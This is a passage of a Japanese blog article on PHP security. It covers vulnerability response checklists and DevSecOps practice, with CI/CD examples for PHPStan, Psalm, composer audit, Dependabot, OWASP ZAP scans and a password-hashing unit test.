\u81ea\u52d5\u5316\u3055\u308c\u305fXSS\u30b9\u30ad\u30e3\u30f3\u3092CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u8ffd\u52a0\n3. \u958b\u767a\u30c1\u30fc\u30e0\u306bXSS\u5bfe\u7b56\u306e\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u3092\u5b9f\u65bd\n4. \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u3092\u5b89\u5168\u306a\u3082\u306e\u306b\u5909\u66f4\n\n\u30bf\u30a4\u30e0\u30e9\u30a4\u30f3:\n- \u5373\u6642: \u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u306e\u4f5c\u6210\u3068\u914d\u5e03\n- 1\u9031\u9593\u4ee5\u5185: CI\/CD\u3078\u306e\u30b9\u30ad\u30e3\u30f3\u8ffd\u52a0\n- 2\u9031\u9593\u4ee5\u5185: \u958b\u767a\u8005\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u306e\u5b9f\u65bd\n- \u6b21\u56de\u30ea\u30ea\u30fc\u30b9: \u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u30a8\u30f3\u30b8\u30f3\u8a2d\u5b9a\u306e\u5909\u66f4\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-176\">\u8106\u5f31\u6027\u306e\u7a2e\u985e\u5225\u5bfe\u5fdc\u4f8b<\/h4>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-177\">\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u306a\u8106\u5f31\u6027\uff08\u4f8b\uff1aRCE \u2013 \u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\uff09<\/h5>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u7dca\u6025\u5bfe\u5fdc\u30c1\u30fc\u30e0\u306e\u7de8\u6210<\/strong><\/li>\n\n\n\n<li><strong>\u5373\u6642\u306e\u7de9\u548c\u7b56<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u5f71\u97ff\u3092\u53d7\u3051\u308b\u30b7\u30b9\u30c6\u30e0\u306e\u4e00\u6642\u7684\u306a\u9694\u96e2<\/li>\n\n\n\n<li>WAF\u30eb\u30fc\u30eb\u306e\u7dca\u6025\u8ffd\u52a0<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u8fc5\u901f\u306a\u4fee\u6b63<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u30b3\u30fc\u30c9\u306e\u6839\u672c\u7684\u306a\u4fee\u6b63\u3068\u30db\u30c3\u30c8\u30d5\u30a3\u30c3\u30af\u30b9\u30ea\u30ea\u30fc\u30b9<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u8a73\u7d30\u306a\u8abf\u67fb<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u60aa\u7528\u3055\u308c\u305f\u5f62\u8de1\u306e\u8abf\u67fb<\/li>\n\n\n\n<li>\u6f5c\u5728\u7684\u306a\u88ab\u5bb3\u7bc4\u56f2\u306e\u7279\u5b9a<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u900f\u660e\u6027\u306e\u3042\u308b\u60c5\u5831\u958b\u793a<\/strong><\/li>\n<\/ol>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-178\">\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027<\/h5>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5f71\u97ff\u306e\u8a55\u4fa1<\/strong>: <code># \u5f71\u97ff\u3092\u53d7\u3051\u308b\u4f9d\u5b58\u95a2\u4fc2\u306e\u78ba\u8a8dcomposer audit<\/code><\/li>\n\n\n\n<li><strong>\u66f4\u65b0\u307e\u305f\u306f\u5bfe\u5fdc<\/strong>: <code># \u5b89\u5168\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u3078\u306e\u66f4\u65b0composer update vulnerable\/package --with-dependencies# \u4ee3\u66ff\u30d1\u30c3\u30b1\u30fc\u30b8\u3078\u306e\u5207\u308a\u66ff\u3048\u691c\u8a0ecomposer remove vulnerable\/packagecomposer require safe\/alternative<\/code><\/li>\n\n\n\n<li><strong>\u30d1\u30c3\u30c1\u306e\u9069\u7528\u30c6\u30b9\u30c8<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u66f4\u65b0\u306b\u3088\u308b\u4e92\u63db\u6027\u554f\u984c\u304c\u306a\u3044\u304b\u78ba\u8a8d<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u8a08\u753b\u7684\u306a\u30c7\u30d7\u30ed\u30a4<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u901a\u5e38\u306e\u30ea\u30ea\u30fc\u30b9\u30b5\u30a4\u30af\u30eb\u306b\u542b\u3081\u308b\uff08\u7dca\u6025\u6027\u306b\u5fdc\u3058\u3066\u8abf\u6574\uff09<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-179\">\u8106\u5f31\u6027\u5bfe\u5fdc\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u4e8b\u524d\u6e96\u5099<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u5bfe\u5fdc\u8a08\u753b\u306e\u7b56\u5b9a\uff08\u5f79\u5272\u3001\u9023\u7d61\u5148\u3001\u30a8\u30b9\u30ab\u30ec\u30fc\u30b7\u30e7\u30f3\u30d1\u30b9\uff09<\/li>\n\n\n\n<li>\u8106\u5f31\u6027\u7ba1\u7406\u30dd\u30ea\u30b7\u30fc\u306e\u6587\u66f8\u5316<\/li>\n\n\n\n<li>\u4fee\u6b63\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306e\u7528\u610f\uff08\u4e00\u822c\u7684\u306a\u8106\u5f31\u6027\u5bfe\u7b56\u306e\u30b3\u30fc\u30c9\u30b5\u30f3\u30d7\u30eb\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u8fc5\u901f\u306a\u5bfe\u5fdc<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u5bfe\u5fdc\u512a\u5148\u5ea6\u4ed8\u3051\u306e\u660e\u78ba\u306a\u57fa\u6e96<\/li>\n\n\n\n<li>\u7dca\u6025\u30c7\u30d7\u30ed\u30a4\u30d7\u30ed\u30bb\u30b9\u306e\u78ba\u7acb<\/li>\n\n\n\n<li>24\/7\u5bfe\u5fdc\u4f53\u5236\uff08\u30af\u30ea\u30c6\u30a3\u30ab\u30eb\u306a\u8106\u5f31\u6027\u306e\u5834\u5408\uff09<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u900f\u660e\u6027<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u9069\u5207\u306a\u30bf\u30a4\u30df\u30f3\u30b0\u3067\u306e\u60c5\u5831\u958b\u793a<\/li>\n\n\n\n<li>\u30e6\u30fc\u30b6\u30fc\u3078\u306e\u660e\u78ba\u306a\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3<\/li>\n\n\n\n<li>\u4fee\u6b63\u306e\u52b9\u679c\u3068\u5236\u9650\u306e\u8aac\u660e<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u7d99\u7d9a\u7684\u6539\u5584<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u767a\u898b\u304b\u3089\u89e3\u6c7a\u307e\u3067\u306e\u6642\u9593\u306e\u8a18\u9332\u3068\u5206\u6790<\/li>\n\n\n\n<li>\u540c\u69d8\u306e\u8106\u5f31\u6027\u306e\u4e88\u9632\u7b56\u306e\u5b9f\u88c5<\/li>\n\n\n\n<li>\u958b\u767a\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u5168\u4f53\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5f37\u5316<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u77e5\u8b58\u306e\u5171\u6709<\/strong>:\n<ul class=\"wp-block-list\">\n<li>\u8106\u5f31\u6027\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306e\u7dad\u6301<\/li>\n\n\n\n<li>\u793e\u5185\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ca\u30ec\u30c3\u30b8\u30d9\u30fc\u30b9\u306e\u69cb\u7bc9<\/li>\n\n\n\n<li>\u6210\u529f\u4e8b\u4f8b\u3068\u5b66\u3073\u306e\u5171\u6709<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-180\">\u8106\u5f31\u6027\u5bfe\u5fdc\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8<\/h4>\n\n\n\n<p>\u4ee5\u4e0b\u306e\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3001\u8106\u5f31\u6027\u5bfe\u5fdc\u30d7\u30ed\u30bb\u30b9\u306e\u5404\u6bb5\u968e\u3067\u5fc5\u8981\u306a\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u78ba\u8a8d\u3067\u304d\u307e\u3059\uff1a<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u25a1 \u8106\u5f31\u6027\u306e\u8a73\u7d30\u60c5\u5831\u3092\u53ce\u96c6\uff08\u7a2e\u985e\u3001\u5f71\u97ff\u7bc4\u56f2\u3001\u518d\u73fe\u624b\u9806\uff09\n\u25a1 \u91cd\u8981\u5ea6\u3068\u7dca\u6025\u5ea6\u306e\u8a55\u4fa1\uff08CVSS\u3001\u5f71\u97ff\u30e6\u30fc\u30b6\u30fc\u6570\u306a\u3069\uff09\n\u25a1 \u5bfe\u5fdc\u30c1\u30fc\u30e0\u306e\u7de8\u6210\u3068\u8cac\u4efb\u8005\u306e\u6307\u540d\n\u25a1 \u7de9\u548c\u7b56\u306e\u5b9f\u88c5\u3068\u691c\u8a3c\n\u25a1 \u6839\u672c\u539f\u56e0\u306e\u7279\u5b9a\n\u25a1 \u4fee\u6b63\u65b9\u6cd5\u306e\u8a2d\u8a08\u3068\u30ec\u30d3\u30e5\u30fc\n\u25a1 \u4fee\u6b63\u306e\u5b9f\u88c5\u3068\u30c6\u30b9\u30c8\n\u25a1 \u30c7\u30d7\u30ed\u30a4\u8a08\u753b\u306e\u7b56\u5b9a\u3068\u627f\u8a8d\n\u25a1 \u4fee\u6b63\u306e\u30c7\u30d7\u30ed\u30a4\u3068\u691c\u8a3c\n\u25a1 \u5f71\u97ff\u3092\u53d7\u3051\u308b\u30b9\u30c6\u30fc\u30af\u30db\u30eb\u30c0\u30fc\u3078\u306e\u901a\u77e5\n\u25a1 \u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u306e\u6587\u66f8\u5316\n\u25a1 \u30ec\u30c8\u30ed\u30b9\u30da\u30af\u30c6\u30a3\u30d6\u3068\u6559\u8a13\u306e\u5171\u6709\n\u25a1 \u985e\u4f3c\u8106\u5f31\u6027\u306e\u30b9\u30ad\u30e3\u30f3\u3068\u4fee\u6b63\n\u25a1 \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u306e\u5f37\u5316\u8a08\u753b\u306e\u66f4\u65b0\n<\/pre>\n\n\n\n<p>\u8106\u5f31\u6027\u767a\u898b\u6642\u306e\u9069\u5207\u306a\u5bfe\u5fdc\u306f\u3001\u5358\u306a\u308b\u6280\u8853\u7684\u306a\u4fee\u6b63\u3060\u3051\u3067\u306a\u304f\u3001\u7d44\u7e54\u7684\u306a\u30d7\u30ed\u30bb\u30b9\u3068\u30b3\u30df\u30e5\u30cb\u30b1\u30fc\u30b7\u30e7\u30f3\u3082\u542b\u3080\u5305\u62ec\u7684\u306a\u53d6\u308a\u7d44\u307f\u3067\u3059\u3002\u4e8b\u524d\u306b\u5bfe\u5fdc\u8a08\u753b\u3092\u7b56\u5b9a\u3057\u3001\u5b9a\u671f\u7684\u306b\u8a13\u7df4\u3059\u308b\u3053\u3068\u3067\u3001\u5b9f\u969b\u306e\u8106\u5f31\u6027\u767a\u898b\u6642\u306b\u8fc5\u901f\u304b\u3064\u52b9\u679c\u7684\u306b\u5bfe\u5fdc\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-181\">\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7dad\u6301\u306e\u305f\u3081\u306e\u4f53\u5236\u69cb\u7bc9<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-182\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306e\u81ea\u52d5\u5316\u3068\u7d99\u7d9a\u7684\u30a4\u30f3\u30c6\u30b0\u30ec\u30fc\u30b7\u30e7\u30f3<\/h3>\n\n\n\n<p>\u73fe\u4ee3\u306e\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u958b\u767a\u3067\u306f\u3001\u8fc5\u901f\u306a\u958b\u767a\u30b5\u30a4\u30af\u30eb\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8981\u4ef6\u306e\u4e21\u7acb\u304c\u6c42\u3081\u3089\u308c\u3066\u3044\u307e\u3059\u3002DevSecOps\uff08Development, Security, Operations\uff09\u306e\u8003\u3048\u65b9\u306b\u57fa\u3065\u304d\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u3092\u7d71\u5408\u3059\u308b\u3053\u3068\u3067\u3001\u8106\u5f31\u6027\u306e\u65e9\u671f\u767a\u898b\u3068\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7dad\u6301\u304c\u53ef\u80fd\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-183\">DevSecOps\u3068\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u81ea\u52d5\u5316\u306e\u91cd\u8981\u6027<\/h4>\n\n\n\n<p>\u5f93\u6765\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306f\u958b\u767a\u306e\u6700\u7d42\u6bb5\u968e\u3067\u5b9f\u65bd\u3055\u308c\u308b\u3053\u3068\u304c\u591a\u304f\u3001\u8106\u5f31\u6027\u306e\u4fee\u6b63\u306b\u591a\u5927\u306a\u30b3\u30b9\u30c8\u304c\u304b\u304b\u308a\u307e\u3057\u305f\u3002DevSecOps\u3067\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u958b\u767a\u30e9\u30a4\u30d5\u30b5\u30a4\u30af\u30eb\u306e\u6700\u521d\u304b\u3089\u7d44\u307f\u8fbc\u307f\u3001\u7d99\u7d9a\u7684\u306b\u30c6\u30b9\u30c8\u3092\u884c\u3046\u3053\u3068\u3067\u3001\u6b21\u306e\u3088\u3046\u306a\u30e1\u30ea\u30c3\u30c8\u304c\u5f97\u3089\u308c\u307e\u3059\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u65e9\u671f\u767a\u898b\u30fb\u65e9\u671f\u4fee\u6b63<\/strong>\uff1a\u958b\u767a\u521d\u671f\u6bb5\u968e\u3067\u8106\u5f31\u6027\u3092\u767a\u898b\u3057\u3001\u4f4e\u30b3\u30b9\u30c8\u3067\u4fee\u6b63\u3067\u304d\u308b<\/li>\n\n\n\n<li><strong>\u4e00\u8cab\u6027\u3068\u518d\u73fe\u6027<\/strong>\uff1a\u81ea\u52d5\u5316\u3055\u308c\u305f\u30c6\u30b9\u30c8\u306b\u3088\u308a\u3001\u4eba\u70ba\u7684\u30df\u30b9\u3092\u6e1b\u3089\u3057\u4e00\u8cab\u3057\u305f\u691c\u8a3c\u304c\u53ef\u80fd<\/li>\n\n\n\n<li><strong>\u958b\u767a\u30b9\u30d4\u30fc\u30c9\u306e\u7dad\u6301<\/strong>\uff1a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u304c\u81ea\u52d5\u5316\u3055\u308c\u3001\u958b\u767a\u306e\u6d41\u308c\u3092\u59a8\u3052\u306a\u3044<\/li>\n\n\n\n<li><strong>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u610f\u8b58\u306e\u5411\u4e0a<\/strong>\uff1a\u958b\u767a\u8005\u304c\u65e5\u5e38\u7684\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u3092\u53d7\u3051\u53d6\u308b\u3053\u3068\u3067\u610f\u8b58\u304c\u5411\u4e0a<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-184\">CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u3078\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u7d71\u5408<\/h4>\n\n\n\n<p>CI\/CD\uff08\u7d99\u7d9a\u7684\u30a4\u30f3\u30c6\u30b0\u30ec\u30fc\u30b7\u30e7\u30f3\/\u7d99\u7d9a\u7684\u30c7\u30ea\u30d0\u30ea\u30fc\uff09\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u3092\u7d44\u307f\u8fbc\u3080\u3053\u3068\u3067\u3001\u30b3\u30fc\u30c9\u306e\u5909\u66f4\u3054\u3068\u306b\u81ea\u52d5\u7684\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u304c\u884c\u308f\u308c\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5834\u5408\u3001\u4ee5\u4e0b\u306e\u3088\u3046\u306a\u7a2e\u985e\u306e\u30c6\u30b9\u30c8\u3092\u7d71\u5408\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-185\">1. \u9759\u7684\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\uff08SAST\uff09<\/h5>\n\n\n\n<p>\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u30b3\u30fc\u30c9\u3092\u30b9\u30ad\u30e3\u30f3\u3057\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u554f\u984c\u3092\u7279\u5b9a\u3057\u307e\u3059\u3002PHP\u306e\u4e3b\u8981\u306a\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306b\u306f\u4ee5\u4e0b\u304c\u3042\u308a\u307e\u3059\uff1a<\/p>\n\n\n\n<p><strong>PHPStan\u306e\u7d71\u5408\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitHub Actions\u306e\u4f8b\nname: PHP Security Checks\n\non:\n  push:\n    branches: [ main, develop ]\n  pull_request:\n    branches: [ main, develop ]\n\njobs:\n  phpstan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v3\n      \n      - name: Setup PHP\n        uses: shivammathur\/setup-php@v2\n        with:\n          php-version: '8.1'\n          \n      - name: Install Dependencies\n        run: composer install --prefer-dist --no-progress\n        \n      - name: Run PHPStan\n        run: vendor\/bin\/phpstan analyse src tests --level=7\n<\/pre>\n\n\n\n<p><strong>Psalm\u306e\u7d71\u5408\u4f8b\uff08\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b9\u30ad\u30e3\u30f3\u6a5f\u80fd\u4ed8\u304d\uff09<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitLab CI\/CD\u306e\u4f8b\npsalm:\n  stage: test\n  image: php:8.1\n  before_script:\n    - apt-get update &amp;&amp; apt-get install -y git unzip\n    - curl -sS https:\/\/getcomposer.org\/installer | php -- --install-dir=\/usr\/local\/bin --filename=composer\n    - composer install\n  script:\n    - vendor\/bin\/psalm --taint-analysis\n    - vendor\/bin\/psalm --report=psalm-results.sarif\n  artifacts:\n    paths:\n      - psalm-results.sarif\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-186\">2. \u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u30b3\u30f3\u30dd\u30b8\u30b7\u30e7\u30f3\u89e3\u6790\uff08SCA\uff09<\/h5>\n\n\n\n<p>\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027\u3092\u30b9\u30ad\u30e3\u30f3\u3057\u307e\u3059\u3002PHP\u306e\u5834\u5408\u3001Composer\u3092\u4f7f\u7528\u3057\u305f\u30d1\u30c3\u30b1\u30fc\u30b8\u7ba1\u7406\u304c\u4e00\u822c\u7684\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>Composer Audit\u306e\u7d71\u5408\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitHub Actions\u306e\u4f8b\nname: Dependencies Security Scan\n\non:\n  push:\n    branches: [ main ]\n  pull_request:\n    branches: [ main ]\n  schedule:\n    - cron: '0 0 * * 0'  # \u6bce\u9031\u65e5\u66dc\u65e5\u306b\u5b9f\u884c\n\njobs:\n  security-check:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v3\n      \n      - name: Setup PHP\n        uses: shivammathur\/setup-php@v2\n        with:\n          php-version: '8.1'\n          \n      - name: Install Dependencies\n        run: composer install --prefer-dist --no-progress\n        \n      - name: Security Check\n        run: composer audit\n<\/pre>\n\n\n\n<p><strong>Dependabot\u306e\u6d3b\u7528<\/strong>:<\/p>\n\n\n\n<p>GitHub Repository\u306e<code>.github\/dependabot.yml<\/code>\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\u3057\u3066\u81ea\u52d5\u7684\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3092\u63d0\u6848\u3057\u3066\u3082\u3089\u3046\u3053\u3068\u3082\u53ef\u80fd\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># .github\/dependabot.yml\nversion: 2\nupdates:\n  - package-ecosystem: \"composer\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"\n    open-pull-requests-limit: 10\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-187\">3. \u52d5\u7684\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\uff08DAST\uff09<\/h5>\n\n\n\n<p>\u5b9f\u969b\u306b\u52d5\u4f5c\u3059\u308b\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u5bfe\u3057\u3066\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u3092\u884c\u3044\u307e\u3059\u3002OWASP ZAP\u306a\u3069\u306e\u30c4\u30fc\u30eb\u3092CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306b\u7d71\u5408\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<p><strong>OWASP ZAP\u306e\u7d71\u5408\u4f8b<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"># GitHub Actions\u306e\u4f8b\nname: DAST Scan with OWASP ZAP\n\non:\n  workflow_dispatch:  # \u624b\u52d5\u5b9f\u884c\n  schedule:\n    - cron: '0 0 * * 0'  # \u6bce\u9031\u65e5\u66dc\u65e5\u306b\u5b9f\u884c\n\njobs:\n  zap-scan:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v3\n        \n      - name: ZAP Scan\n        uses: zaproxy\/action-baseline@v0.7.0\n        with:\n          target: 'https:\/\/staging-app.example.com'\n          rules_file_name: 'zap-rules.tsv'\n          cmd_options: '-a'\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-188\">4. \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e6\u30cb\u30c3\u30c8\u30c6\u30b9\u30c8<\/h5>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u6a5f\u80fd\u3092\u7279\u306b\u30c6\u30b9\u30c8\u3059\u308b\u30e6\u30cb\u30c3\u30c8\u30c6\u30b9\u30c8\u3084\u6a5f\u80fd\u30c6\u30b9\u30c8\u3092\u4f5c\u6210\u3057\u3001CI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u3067\u5b9f\u884c\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u95a2\u9023\u306e\u30e6\u30cb\u30c3\u30c8\u30c6\u30b9\u30c8\u4f8b\npublic function testPasswordHashingIsSecure()\n{\n    $password = 'test-password';\n    $hashedPassword = $this-&gt;userService-&gt;hashPassword($password);\n    \n    \/\/ \u30d1\u30b9\u30ef\u30fc\u30c9\u304cbcrypt\u306a\u3069\u5b89\u5168\u306a\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3067\u30cf\u30c3\u30b7\u30e5\u5316\u3055\u308c\u3066\u3044\u308b\u304b\u691c\u8a3c\n    $this-&gt;assertStringStartsWith('$2y$', $hashedPassword);\n    \/\/ \u30cf\u30c3\u30b7\u30e5\u3068\u30d7\u30ec\u30fc\u30f3\u30c6\u30ad\u30b9\u30c8\u304c\u4e00\u81f4\u3057\u306a\u3044\u3053\u3068\u3092\u78ba\u8a8d\n    $this-&gt;assertNotEquals($password, $hashedPassword);\n    \/\/ \u6b63\u3057\u3044\u691c\u8a3c\u304c\u3067\u304d\u308b\u3053\u3068\u3092\u78ba\u8a8d\n    $this-&gt;assertTrue($this-&gt;userService-&gt;verifyPassword($password, $hashedPassword));\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-189\">\u8907\u5408\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306e\u4f8b<\/h4>\n\n\n\n<p>\u4ee5\u4e0b\u306f\u3001\u8907\u6570\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u3092\u7d44\u307f\u5408\u308f\u305b\u305f\u7dcf\u5408\u7684\u306aCI\/CD\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3\u306e\u4f8b\u3067\u3059\u3002<\/p>\n\n\n\n<p><strong>GitHub Actions\u306b\u3088\u308b\u7dcf\u5408\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d1\u30a4\u30d7\u30e9\u30a4\u30f3<\/strong>:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">name: PHP Security Pipeline\n\non:\n  push:\n    branches: [ main, develop ]\n  pull_request:\n    branches: [ main, develop ]\n  schedule:\n    - cron: '0 0 * * 1'  # 